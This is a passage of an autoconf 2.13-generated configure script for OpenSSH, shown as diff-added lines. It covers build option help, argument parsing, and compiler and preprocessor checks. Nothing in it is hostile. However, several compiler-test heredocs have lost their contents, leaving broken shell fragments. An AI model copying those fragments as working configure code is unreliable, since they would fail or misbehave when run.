from FILE (default=/dev/urandom)" +ac_help="$ac_help + --with-egd-pool=FILE read randomness from EGD pool FILE (default none)" +ac_help="$ac_help + --with-catman=man|cat Install preformatted manpages[no]" +ac_help="$ac_help + --with-kerberos4=PATH Enable Kerberos 4 support" +ac_help="$ac_help + --with-afs=PATH Enable AFS support" +ac_help="$ac_help + --with-skey Enable S/Key support" +ac_help="$ac_help + --with-tcp-wrappers Enable tcpwrappers support" +ac_help="$ac_help + --with-md5-passwords Enable use of MD5 passwords" +ac_help="$ac_help + --without-shadow Disable shadow password support" +ac_help="$ac_help + --with-ipaddr-display Use ip address instead of hostname in \$DISPLAY" +ac_help="$ac_help + --with-default-path=PATH Specify default \$PATH environment for server" +ac_help="$ac_help + --with-ipv4-default Use IPv4 by connections unless '-6' specified" +ac_help="$ac_help + --with-4in6 Check for and convert IPv4 in IPv6 mapped addresses" +ac_help="$ac_help + --with-pid-dir=PATH Specify location of ssh.pid file" +ac_help="$ac_help + --disable-lastlog disable use of lastlog even if detected [no]" +ac_help="$ac_help + --disable-utmp disable use of utmp even if detected [no]" +ac_help="$ac_help + --disable-utmpx disable use of utmpx even if detected [no]" +ac_help="$ac_help + --disable-wtmp disable use of wtmp even if detected [no]" +ac_help="$ac_help + --disable-wtmpx disable use of wtmpx even if detected [no]" +ac_help="$ac_help + --disable-libutil disable use of libutil (login() etc.) [no]" +ac_help="$ac_help + --disable-pututline disable use of pututline() etc. ([uw]tmp) [no]" +ac_help="$ac_help + --disable-pututxline disable use of pututxline() etc. ([uw]tmpx) [no]" +ac_help="$ac_help + --with-lastlog=FILE|DIR specify lastlog location [common locations]" +ac_help="$ac_help + --with-entropy-timeout Specify entropy gathering command timeout (msec)" + +# Initialize some variables set by options. +# The variables have the same names as the options, with +# dashes changed to underlines. +build=NONE +cache_file=./config.cache +exec_prefix=NONE +host=NONE +no_create= +nonopt=NONE +no_recursion= +prefix=NONE +program_prefix=NONE +program_suffix=NONE +program_transform_name=s,x,x, +silent= +site= +srcdir= +target=NONE +verbose= +x_includes=NONE +x_libraries=NONE +bindir='${exec_prefix}/bin' +sbindir='${exec_prefix}/sbin' +libexecdir='${exec_prefix}/libexec' +datadir='${prefix}/share' +sysconfdir='${prefix}/etc' +sharedstatedir='${prefix}/com' +localstatedir='${prefix}/var' +libdir='${exec_prefix}/lib' +includedir='${prefix}/include' +oldincludedir='/usr/include' +infodir='${prefix}/info' +mandir='${prefix}/man' + +# Initialize some other variables. +subdirs= +MFLAGS= MAKEFLAGS= +SHELL=${CONFIG_SHELL-/bin/sh} +# Maximum number of lines to put in a shell here document. +ac_max_here_lines=12 + +ac_prev= +for ac_option +do + + # If the previous option needs an argument, assign it. + if test -n "$ac_prev"; then + eval "$ac_prev=\$ac_option" + ac_prev= + continue + fi + + case "$ac_option" in + -*=*) ac_optarg=`echo "$ac_option" | sed 's/[-_a-zA-Z0-9]*=//'` ;; + *) ac_optarg= ;; + esac + + # Accept the important Cygnus configure options, so we can diagnose typos. + + case "$ac_option" in + + -bindir | --bindir | --bindi | --bind | --bin | --bi) + ac_prev=bindir ;; + -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) + bindir="$ac_optarg" ;; + + -build | --build | --buil | --bui | --bu) + ac_prev=build ;; + -build=* | --build=* | --buil=* | --bui=* | --bu=*) + build="$ac_optarg" ;; + + -cache-file | --cache-file | --cache-fil | --cache-fi \ + | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) + ac_prev=cache_file ;; + -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ + | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) + cache_file="$ac_optarg" ;; + + -datadir | --datadir | --datadi | --datad | --data | --dat | --da) + ac_prev=datadir ;; + -datadir=* | --datadir=* | --datadi=* | --datad=* | --data=* | --dat=* \ + | --da=*) + datadir="$ac_optarg" ;; + + -disable-* | --disable-*) + ac_feature=`echo $ac_option|sed -e 's/-*disable-//'` + # Reject names that are not valid shell variable names. + if test -n "`echo $ac_feature| sed 's/[-a-zA-Z0-9_]//g'`"; then + { echo "configure: error: $ac_feature: invalid feature name" 1>&2; exit 1; } + fi + ac_feature=`echo $ac_feature| sed 's/-/_/g'` + eval "enable_${ac_feature}=no" ;; + + -enable-* | --enable-*) + ac_feature=`echo $ac_option|sed -e 's/-*enable-//' -e 's/=.*//'` + # Reject names that are not valid shell variable names. + if test -n "`echo $ac_feature| sed 's/[-_a-zA-Z0-9]//g'`"; then + { echo "configure: error: $ac_feature: invalid feature name" 1>&2; exit 1; } + fi + ac_feature=`echo $ac_feature| sed 's/-/_/g'` + case "$ac_option" in + *=*) ;; + *) ac_optarg=yes ;; + esac + eval "enable_${ac_feature}='$ac_optarg'" ;; + + -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ + | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ + | --exec | --exe | --ex) + ac_prev=exec_prefix ;; + -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ + | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ + | --exec=* | --exe=* | --ex=*) + exec_prefix="$ac_optarg" ;; + + -gas | --gas | --ga | --g) + # Obsolete; use --with-gas. + with_gas=yes ;; + + -help | --help | --hel | --he) + # Omit some internal or obsolete options to make the list less imposing. + # This message is too long to be a string in the A/UX 3.1 sh. + cat << EOF +Usage: configure [options] [host] +Options: [defaults in brackets after descriptions] +Configuration: + --cache-file=FILE cache test results in FILE + --help print this message + --no-create do not create output files + --quiet, --silent do not print \`checking...' messages + --version print the version of autoconf that created configure +Directory and file names: + --prefix=PREFIX install architecture-independent files in PREFIX + [$ac_default_prefix] + --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX + [same as prefix] + --bindir=DIR user executables in DIR [EPREFIX/bin] + --sbindir=DIR system admin executables in DIR [EPREFIX/sbin] + --libexecdir=DIR program executables in DIR [EPREFIX/libexec] + --datadir=DIR read-only architecture-independent data in DIR + [PREFIX/share] + --sysconfdir=DIR read-only single-machine data in DIR [PREFIX/etc] + --sharedstatedir=DIR modifiable architecture-independent data in DIR + [PREFIX/com] + --localstatedir=DIR modifiable single-machine data in DIR [PREFIX/var] + --libdir=DIR object code libraries in DIR [EPREFIX/lib] + --includedir=DIR C header files in DIR [PREFIX/include] + --oldincludedir=DIR C header files for non-gcc in DIR [/usr/include] + --infodir=DIR info documentation in DIR [PREFIX/info] + --mandir=DIR man documentation in DIR [PREFIX/man] + --srcdir=DIR find the sources in DIR [configure dir or ..] + --program-prefix=PREFIX prepend PREFIX to installed program names + --program-suffix=SUFFIX append SUFFIX to installed program names + --program-transform-name=PROGRAM + run sed PROGRAM on installed program names +EOF + cat << EOF +Host type: + --build=BUILD configure for building on BUILD [BUILD=HOST] + --host=HOST configure for HOST [guessed] + --target=TARGET configure for TARGET [TARGET=HOST] +Features and packages: + --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no) + --enable-FEATURE[=ARG] include FEATURE [ARG=yes] + --with-PACKAGE[=ARG] use PACKAGE [ARG=yes] + --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no) + --x-includes=DIR X include files are in DIR + --x-libraries=DIR X library files are in DIR +EOF + if test -n "$ac_help"; then + echo "--enable and --with options recognized:$ac_help" + fi + exit 0 ;; + + -host | --host | --hos | --ho) + ac_prev=host ;; + -host=* | --host=* | --hos=* | --ho=*) + host="$ac_optarg" ;; + + -includedir | --includedir | --includedi | --included | --include \ + | --includ | --inclu | --incl | --inc) + ac_prev=includedir ;; + -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ + | --includ=* | --inclu=* | --incl=* | --inc=*) + includedir="$ac_optarg" ;; + + -infodir | --infodir | --infodi | --infod | --info | --inf) + ac_prev=infodir ;; + -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) + infodir="$ac_optarg" ;; + + -libdir | --libdir | --libdi | --libd) + ac_prev=libdir ;; + -libdir=* | --libdir=* | --libdi=* | --libd=*) + libdir="$ac_optarg" ;; + + -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ + | --libexe | --libex | --libe) + ac_prev=libexecdir ;; + -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ + | --libexe=* | --libex=* | --libe=*) + libexecdir="$ac_optarg" ;; + + -localstatedir | --localstatedir | --localstatedi | --localstated \ + | --localstate | --localstat | --localsta | --localst \ + | --locals | --local | --loca | --loc | --lo) + ac_prev=localstatedir ;; + -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ + | --localstate=* | --localstat=* | --localsta=* | --localst=* \ + | --locals=* | --local=* | --loca=* | --loc=* | --lo=*) + localstatedir="$ac_optarg" ;; + + -mandir | --mandir | --mandi | --mand | --man | --ma | --m) + ac_prev=mandir ;; + -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) + mandir="$ac_optarg" ;; + + -nfp | --nfp | --nf) + # Obsolete; use --without-fp. + with_fp=no ;; + + -no-create | --no-create | --no-creat | --no-crea | --no-cre \ + | --no-cr | --no-c) + no_create=yes ;; + + -no-recursion | --no-recursion | --no-recursio | --no-recursi \ + | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) + no_recursion=yes ;; + + -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ + | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ + | --oldin | --oldi | --old | --ol | --o) + ac_prev=oldincludedir ;; + -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ + | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ + | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) + oldincludedir="$ac_optarg" ;; + + -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) + ac_prev=prefix ;; + -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) + prefix="$ac_optarg" ;; + + -program-prefix | --program-prefix | --program-prefi | --program-pref \ + | --program-pre | --program-pr | --program-p) + ac_prev=program_prefix ;; + -program-prefix=* | --program-prefix=* | --program-prefi=* \ + | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) + program_prefix="$ac_optarg" ;; + + -program-suffix | --program-suffix | --program-suffi | --program-suff \ + | --program-suf | --program-su | --program-s) + ac_prev=program_suffix ;; + -program-suffix=* | --program-suffix=* | --program-suffi=* \ + | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) + program_suffix="$ac_optarg" ;; + + -program-transform-name | --program-transform-name \ + | --program-transform-nam | --program-transform-na \ + | --program-transform-n | --program-transform- \ + | --program-transform | --program-transfor \ + | --program-transfo | --program-transf \ + | --program-trans | --program-tran \ + | --progr-tra | --program-tr | --program-t) + ac_prev=program_transform_name ;; + -program-transform-name=* | --program-transform-name=* \ + | --program-transform-nam=* | --program-transform-na=* \ + | --program-transform-n=* | --program-transform-=* \ + | --program-transform=* | --program-transfor=* \ + | --program-transfo=* | --program-transf=* \ + | --program-trans=* | --program-tran=* \ + | --progr-tra=* | --program-tr=* | --program-t=*) + program_transform_name="$ac_optarg" ;; + + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil) + silent=yes ;; + + -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) + ac_prev=sbindir ;; + -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ + | --sbi=* | --sb=*) + sbindir="$ac_optarg" ;; + + -sharedstatedir | --sharedstatedir | --sharedstatedi \ + | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ + | --sharedst | --shareds | --shared | --share | --shar \ + | --sha | --sh) + ac_prev=sharedstatedir ;; + -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ + | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ + | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ + | --sha=* | --sh=*) + sharedstatedir="$ac_optarg" ;; + + -site | --site | --sit) + ac_prev=site ;; + -site=* | --site=* | --sit=*) + site="$ac_optarg" ;; + + -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) + ac_prev=srcdir ;; + -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) + srcdir="$ac_optarg" ;; + + -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ + | --syscon | --sysco | --sysc | --sys | --sy) + ac_prev=sysconfdir ;; + -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ + | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) + sysconfdir="$ac_optarg" ;; + + -target | --target | --targe | --targ | --tar | --ta | --t) + ac_prev=target ;; + -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) + target="$ac_optarg" ;; + + -v | -verbose | --verbose | --verbos | --verbo | --verb) + verbose=yes ;; + + -version | --version | --versio | --versi | --vers) + echo "configure generated by autoconf version 2.13" + exit 0 ;; + + -with-* | --with-*) + ac_package=`echo $ac_option|sed -e 's/-*with-//' -e 's/=.*//'` + # Reject names that are not valid shell variable names. + if test -n "`echo $ac_package| sed 's/[-_a-zA-Z0-9]//g'`"; then + { echo "configure: error: $ac_package: invalid package name" 1>&2; exit 1; } + fi + ac_package=`echo $ac_package| sed 's/-/_/g'` + case "$ac_option" in + *=*) ;; + *) ac_optarg=yes ;; + esac + eval "with_${ac_package}='$ac_optarg'" ;; + + -without-* | --without-*) + ac_package=`echo $ac_option|sed -e 's/-*without-//'` + # Reject names that are not valid shell variable names. + if test -n "`echo $ac_package| sed 's/[-a-zA-Z0-9_]//g'`"; then + { echo "configure: error: $ac_package: invalid package name" 1>&2; exit 1; } + fi + ac_package=`echo $ac_package| sed 's/-/_/g'` + eval "with_${ac_package}=no" ;; + + --x) + # Obsolete; use --with-x. + with_x=yes ;; + + -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ + | --x-incl | --x-inc | --x-in | --x-i) + ac_prev=x_includes ;; + -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ + | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) + x_includes="$ac_optarg" ;; + + -x-libraries | --x-libraries | --x-librarie | --x-librari \ + | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) + ac_prev=x_libraries ;; + -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ + | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) + x_libraries="$ac_optarg" ;; + + -*) { echo "configure: error: $ac_option: invalid option; use --help to show usage" 1>&2; exit 1; } + ;; + + *) + if test -n "`echo $ac_option| sed 's/[-a-z0-9.]//g'`"; then + echo "configure: warning: $ac_option: invalid host type" 1>&2 + fi + if test "x$nonopt" != xNONE; then + { echo "configure: error: can only configure for one host and one target at a time" 1>&2; exit 1; } + fi + nonopt="$ac_option" + ;; + + esac +done + +if test -n "$ac_prev"; then + { echo "configure: error: missing argument to --`echo $ac_prev | sed 's/_/-/g'`" 1>&2; exit 1; } +fi + +trap 'rm -fr conftest* confdefs* core core.* *.core $ac_clean_files; exit 1' 1 2 15 + +# File descriptor usage: +# 0 standard input +# 1 file creation +# 2 errors and warnings +# 3 some systems may open it to /dev/tty +# 4 used on the Kubota Titan +# 6 checking for... messages and results +# 5 compiler messages saved in config.log +if test "$silent" = yes; then + exec 6>/dev/null +else + exec 6>&1 +fi +exec 5>./config.log + +echo "\ +This file contains any messages produced by compilers while +running configure, to aid debugging if configure makes a mistake. +" 1>&5 + +# Strip out --no-create and --no-recursion so they do not pile up. +# Also quote any args containing shell metacharacters. +ac_configure_args= +for ac_arg +do + case "$ac_arg" in + -no-create | --no-create | --no-creat | --no-crea | --no-cre \ + | --no-cr | --no-c) ;; + -no-recursion | --no-recursion | --no-recursio | --no-recursi \ + | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) ;; + *" "*|*" "*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?]*) + ac_configure_args="$ac_configure_args '$ac_arg'" ;; + *) ac_configure_args="$ac_configure_args $ac_arg" ;; + esac +done + +# NLS nuisances. +# Only set these to C if already set. These must not be set unconditionally +# because not all systems understand e.g. LANG=C (notably SCO). +# Fixing LC_MESSAGES prevents Solaris sh from translating var values in `set'! +# Non-C LC_CTYPE values break the ctype check. +if test "${LANG+set}" = set; then LANG=C; export LANG; fi +if test "${LC_ALL+set}" = set; then LC_ALL=C; export LC_ALL; fi +if test "${LC_MESSAGES+set}" = set; then LC_MESSAGES=C; export LC_MESSAGES; fi +if test "${LC_CTYPE+set}" = set; then LC_CTYPE=C; export LC_CTYPE; fi + +# confdefs.h avoids OS command line length limits that DEFS can exceed. +rm -rf conftest* confdefs.h +# AIX cpp loses on an empty file, so make sure it contains at least a newline. +echo > confdefs.h + +# A filename unique to this package, relative to the directory that +# configure is in, which we can look for to find out if srcdir is correct. +ac_unique_file=ssh.c + +# Find the source files, if location was not specified. +if test -z "$srcdir"; then + ac_srcdir_defaulted=yes + # Try the directory containing this script, then its parent. + ac_prog=$0 + ac_confdir=`echo $ac_prog|sed 's%/[^/][^/]*$%%'` + test "x$ac_confdir" = "x$ac_prog" && ac_confdir=. + srcdir=$ac_confdir + if test ! -r $srcdir/$ac_unique_file; then + srcdir=.. + fi +else + ac_srcdir_defaulted=no +fi +if test ! -r $srcdir/$ac_unique_file; then + if test "$ac_srcdir_defaulted" = yes; then + { echo "configure: error: can not find sources in $ac_confdir or .." 1>&2; exit 1; } + else + { echo "configure: error: can not find sources in $srcdir" 1>&2; exit 1; } + fi +fi +srcdir=`echo "${srcdir}" | sed 's%\([^/]\)/*$%\1%'` + +# Prefer explicitly selected file to automatically selected ones. +if test -z "$CONFIG_SITE"; then + if test "x$prefix" != xNONE; then + CONFIG_SITE="$prefix/share/config.site $prefix/etc/config.site" + else + CONFIG_SITE="$ac_default_prefix/share/config.site $ac_default_prefix/etc/config.site" + fi +fi +for ac_site_file in $CONFIG_SITE; do + if test -r "$ac_site_file"; then + echo "loading site script $ac_site_file" + . "$ac_site_file" + fi +done + +if test -r "$cache_file"; then + echo "loading cache $cache_file" + . $cache_file +else + echo "creating cache $cache_file" + > $cache_file +fi + +ac_ext=c +# CFLAGS is not in ac_cpp because -g, -O, etc. are not valid cpp options. +ac_cpp='$CPP $CPPFLAGS' +ac_compile='${CC-cc} -c $CFLAGS $CPPFLAGS conftest.$ac_ext 1>&5' +ac_link='${CC-cc} -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS 1>&5' +cross_compiling=$ac_cv_prog_cc_cross + +ac_exeext= +ac_objext=o +if (echo "testing\c"; echo 1,2,3) | grep c >/dev/null; then + # Stardent Vistra SVR4 grep lacks -e, says ghazi@caip.rutgers.edu. + if (echo -n testing; echo 1,2,3) | sed s/-n/xn/ | grep xn >/dev/null; then + ac_n= ac_c=' +' ac_t=' ' + else + ac_n=-n ac_c= ac_t= + fi +else + ac_n= ac_c='\c' ac_t= +fi + + + + +# Extract the first word of "gcc", so it can be a program name with args. +set dummy gcc; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:592: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_CC'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_prog_CC="gcc" + break + fi + done + IFS="$ac_save_ifs" +fi +fi +CC="$ac_cv_prog_CC" +if test -n "$CC"; then + echo "$ac_t""$CC" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + +if test -z "$CC"; then + # Extract the first word of "cc", so it can be a program name with args. +set dummy cc; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:622: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_CC'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_prog_rejected=no + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + if test "$ac_dir/$ac_word" = "/usr/ucb/cc"; then + ac_prog_rejected=yes + continue + fi + ac_cv_prog_CC="cc" + break + fi + done + IFS="$ac_save_ifs" +if test $ac_prog_rejected = yes; then + # We found a bogon in the path, so make sure we never use it. + set dummy $ac_cv_prog_CC + shift + if test $# -gt 0; then + # We chose a different compiler from the bogus one. + # However, it has the same basename, so the bogon will be chosen + # first if we set CC to just the basename; use the full file name. + shift + set dummy "$ac_dir/$ac_word" "$@" + shift + ac_cv_prog_CC="$@" + fi +fi +fi +fi +CC="$ac_cv_prog_CC" +if test -n "$CC"; then + echo "$ac_t""$CC" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$CC"; then + case "`uname -s`" in + *win32* | *WIN32*) + # Extract the first word of "cl", so it can be a program name with args. +set dummy cl; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:673: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_CC'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_prog_CC="cl" + break + fi + done + IFS="$ac_save_ifs" +fi +fi +CC="$ac_cv_prog_CC" +if test -n "$CC"; then + echo "$ac_t""$CC" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + ;; + esac + fi + test -z "$CC" && { echo "configure: error: no acceptable cc found in \$PATH" 1>&2; exit 1; } +fi + +echo $ac_n "checking whether the C compiler ($CC $CFLAGS $LDFLAGS) works""... $ac_c" 1>&6 +echo "configure:705: checking whether the C compiler ($CC $CFLAGS $LDFLAGS) works" >&5 + +ac_ext=c +# CFLAGS is not in ac_cpp because -g, -O, etc. are not valid cpp options. +ac_cpp='$CPP $CPPFLAGS' +ac_compile='${CC-cc} -c $CFLAGS $CPPFLAGS conftest.$ac_ext 1>&5' +ac_link='${CC-cc} -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS 1>&5' +cross_compiling=$ac_cv_prog_cc_cross + +cat > conftest.$ac_ext << EOF + +#line 716 "configure" +#include "confdefs.h" + +main(){return(0);} +EOF +if { (eval echo configure:721: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + ac_cv_prog_cc_works=yes + # If we can't run a trivial program, we are probably using a cross compiler. + if (./conftest; exit) 2>/dev/null; then + ac_cv_prog_cc_cross=no + else + ac_cv_prog_cc_cross=yes + fi +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + ac_cv_prog_cc_works=no +fi +rm -fr conftest* +ac_ext=c +# CFLAGS is not in ac_cpp because -g, -O, etc. are not valid cpp options. +ac_cpp='$CPP $CPPFLAGS' +ac_compile='${CC-cc} -c $CFLAGS $CPPFLAGS conftest.$ac_ext 1>&5' +ac_link='${CC-cc} -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS 1>&5' +cross_compiling=$ac_cv_prog_cc_cross + +echo "$ac_t""$ac_cv_prog_cc_works" 1>&6 +if test $ac_cv_prog_cc_works = no; then + { echo "configure: error: installation or configuration problem: C compiler cannot create executables." 1>&2; exit 1; } +fi +echo $ac_n "checking whether the C compiler ($CC $CFLAGS $LDFLAGS) is a cross-compiler""... $ac_c" 1>&6 +echo "configure:747: checking whether the C compiler ($CC $CFLAGS $LDFLAGS) is a cross-compiler" >&5 +echo "$ac_t""$ac_cv_prog_cc_cross" 1>&6 +cross_compiling=$ac_cv_prog_cc_cross + +echo $ac_n "checking whether we are using GNU C""... $ac_c" 1>&6 +echo "configure:752: checking whether we are using GNU C" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_gcc'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.c <&5; (eval $ac_try) 2>&5; }; } | egrep yes >/dev/null 2>&1; then + ac_cv_prog_gcc=yes +else + ac_cv_prog_gcc=no +fi +fi + +echo "$ac_t""$ac_cv_prog_gcc" 1>&6 + +if test $ac_cv_prog_gcc = yes; then + GCC=yes +else + GCC= +fi + +ac_test_CFLAGS="${CFLAGS+set}" +ac_save_CFLAGS="$CFLAGS" +CFLAGS= +echo $ac_n "checking whether ${CC-cc} accepts -g""... $ac_c" 1>&6 +echo "configure:780: checking whether ${CC-cc} accepts -g" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_cc_g'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + echo 'void f(){}' > conftest.c +if test -z "`${CC-cc} -g -c conftest.c 2>&1`"; then + ac_cv_prog_cc_g=yes +else + ac_cv_prog_cc_g=no +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_prog_cc_g" 1>&6 +if test "$ac_test_CFLAGS" = set; then + CFLAGS="$ac_save_CFLAGS" +elif test $ac_cv_prog_cc_g = yes; then + if test "$GCC" = yes; then + CFLAGS="-g -O2" + else + CFLAGS="-g" + fi +else + if test "$GCC" = yes; then + CFLAGS="-O2" + else + CFLAGS= + fi +fi + +ac_aux_dir= +for ac_dir in $srcdir $srcdir/.. $srcdir/../..; do + if test -f $ac_dir/install-sh; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install-sh -c" + break + elif test -f $ac_dir/install.sh; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install.sh -c" + break + fi +done +if test -z "$ac_aux_dir"; then + { echo "configure: error: can not find install-sh or install.sh in $srcdir $srcdir/.. $srcdir/../.." 1>&2; exit 1; } +fi +ac_config_guess=$ac_aux_dir/config.guess +ac_config_sub=$ac_aux_dir/config.sub +ac_configure=$ac_aux_dir/configure # This should be Cygnus configure. + + +# Make sure we can run config.sub. +if ${CONFIG_SHELL-/bin/sh} $ac_config_sub sun4 >/dev/null 2>&1; then : +else { echo "configure: error: can not run $ac_config_sub" 1>&2; exit 1; } +fi + +echo $ac_n "checking host system type""... $ac_c" 1>&6 +echo "configure:837: checking host system type" >&5 + +host_alias=$host +case "$host_alias" in +NONE) + case $nonopt in + NONE) + if host_alias=`${CONFIG_SHELL-/bin/sh} $ac_config_guess`; then : + else { echo "configure: error: can not guess host type; you must specify one" 1>&2; exit 1; } + fi ;; + *) host_alias=$nonopt ;; + esac ;; +esac + +host=`${CONFIG_SHELL-/bin/sh} $ac_config_sub $host_alias` +host_cpu=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'` +host_vendor=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'` +host_os=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'` +echo "$ac_t""$host" 1>&6 + + +# Checks for programs. +echo $ac_n "checking how to run the C preprocessor""... $ac_c" 1>&6 +echo "configure:860: checking how to run the C preprocessor" >&5 +# On Suns, sometimes $CPP names a directory. +if test -n "$CPP" && test -d "$CPP"; then + CPP= +fi +if test -z "$CPP"; then +if eval "test \"`echo '$''{'ac_cv_prog_CPP'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + # This must be in double quotes, not single quotes, because CPP may get + # substituted into the Makefile and "${CC-cc}" will confuse make. + CPP="${CC-cc} -E" + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. + cat > conftest.$ac_ext < +Syntax Error +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:881: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + : +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + CPP="${CC-cc} -E -traditional-cpp" + cat > conftest.$ac_ext < +Syntax Error +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:898: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + : +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + CPP="${CC-cc} -nologo -E" + cat > conftest.$ac_ext < +Syntax Error +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:915: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + : +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat 